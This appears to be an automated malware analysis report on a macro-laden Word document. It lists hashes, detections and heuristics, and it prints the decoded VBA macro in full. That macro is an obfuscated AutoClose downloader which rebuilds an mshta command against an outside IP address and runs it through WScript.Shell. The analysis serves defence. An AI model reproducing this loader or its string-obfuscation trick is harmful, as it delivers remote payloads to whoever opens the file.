Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b84cac469c097e12…

MALICIOUS

Office (OOXML)

54.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 0eb8580ea0c1634a11e2fcd7fcfcae04 SHA-1: 03f59b018acbda4c6e63db913a78c70499323bc0 SHA-256: b84cac469c097e1296c00029f8ffb1b7e12fb791d10da6e01485079a7750958c
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA project with an Auto_Close macro that utilizes CreateObject to execute obfuscated code. This code reconstructs a URL, 'http://173.44.42.156/HqoWVuIruwKrrWISfOVENrcgWck/wCyKqxQjnZOkHqoWVuIruwKrXrTNXdOiWdYWYoigKjzuToQc.php?uHqoWVuIruwKrYoigKjzuToQcWISfOVENrcgW=WISfOVENrcgWYoigKjzuToQcgb', which is likely used to download and execute a second-stage payload. ClamAV also detected this file as Doc.Malware.Emooodldr-6711604-0.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2630 bytes
SHA-256: 67d97739adc20269fb87af2a8177f9e7554120cf8b0f3dda699b56c6d7e1bae2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub bostoniano()
 OivPOAr = Trim("q") & Trim("d") & Trim("D")
JdkWNICMzQ = 1156 - 1918 - 374 - 236 - 1151 - 206 - 1424
vZkYGZrOYX = 156 + 1044 + 1228 + 982

 glaucio = "YoigKjzuToQcwCyKqxQjnZOkhHqoWVuIruwKrWISfOVENrcgW hHqoWVuIruwKrHqoWVuIruwKrp://173.44.42.156/HqoWVuIruwKrrWISfOVENrcgWck/wCyKqxQjnZOkHqoWVuIruwKrXrTNXdOiWdYWYoigKjzuToQc.php?uHqoWVuIruwKrYoigKjzuToQcWISfOVENrcgW=WISfOVENrcgWYoigKjzuToQcgb"
glaucio = Replace(glaucio, "YoigKjzuToQc", "m")
AroDyJAB = 398 - 887 - 1331 - 661 - 494
zyUTuWdByqjU = Trim("g") & "w" & "E" & "j"
ZZgcFSRbNOj = Trim("d") & "H" & Trim("F") & "p"
glaucio = Replace(glaucio, "WISfOVENrcgW", "a")
glaucio = Replace(glaucio, "wCyKqxQjnZOk", "s")
glaucio = Replace(glaucio, "HqoWVuIruwKr", "t")
glaucio = Replace(glaucio, "XrTNXdOiWdYW", "e")
fHEXMYfdj = Trim("U") & Trim("k") & Trim("S")
glaucio = Replace(glaucio, "kGXYuGdoPizE", "l")
LJABDvVR = 224 - 1921 - 1007 - 1506 - 1880

ritualistico = "WScripodfUCRxuykMv.ShUrzujGPnOpnEUuWSTWqPgIJGUuWSTWqPgIJG"
ritualistico = Replace(ritualistico, "rrpbWwRXMYCO", "m")
ritualistico = Replace(ritualistico, "yFZuXFyRziPZ", "a")
ritualistico = Replace(ritualistico, "NqEkDJTLSEGz", "s")
ritualistico = Replace(ritualistico, "odfUCRxuykMv", "t")
riFCJLPgDKCB = 1743 + 646 + 1868 + 121 + 52
dTxkbUofnE = 1107 - 330 - 1884 - 1698 - 390 - 765
ritualistico = Replace(ritualistico, "UrzujGPnOpnE", "e")
ritualistico = Replace(ritualistico, "UuWSTWqPgIJG", "l")
QGSVGJzwr = 1152 - 270 - 1351 - 139 - 1563 - 1240 - 974 - 258 - 1772


 CreateObject(ritualistico).Run glaucio, 0
 djEjZLAET = Trim("x") & "i" & "u"
HuNOjOGXLGV = Trim("p") & Trim("k")
oJYExMZy = Trim("Z") & Trim("y") & "M" & Trim("b")
RZIDDMnyPDI = 273 + 111 + 1264 + 37 + 423 + 1601

End Sub

Sub AutoClose()

  wVguGYTX = 87 + 1978 + 1668 + 1838 + 1855 + 1272 + 1334
NMWUGTRMYHg = "B" & "w"
SQMrwqPHXOD = 1268 - 448
KnWigKOME = 1563 - 478
dEvruwqG = Trim("p") & Trim("S")
GAzHnGJz = Trim("N") & Trim("x") & Trim("p")

  Application.Run "bostoniano"
  LDBCgRp = 873 + 1657 + 1972 + 466 + 1224 + 1270
pEQocqyDfP = 1504 + 199
nxAdoTCpUYGZ = "q" & Trim("M") & Trim("k") & "J"
zuSIDRJAP = 904 - 1827 - 401 - 1869 - 660 - 1891
PxJjvOWEI = 1480 - 310 - 944 - 468
XQvugJJTGCN = 1373 + 1459 + 355 + 1962
TMwCZFPfZNd = 1176 - 1047 - 1385 - 340

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: ab721a1857c0038a443efd7412db148ba73525bfa4cf2c94d7f4863127097e42
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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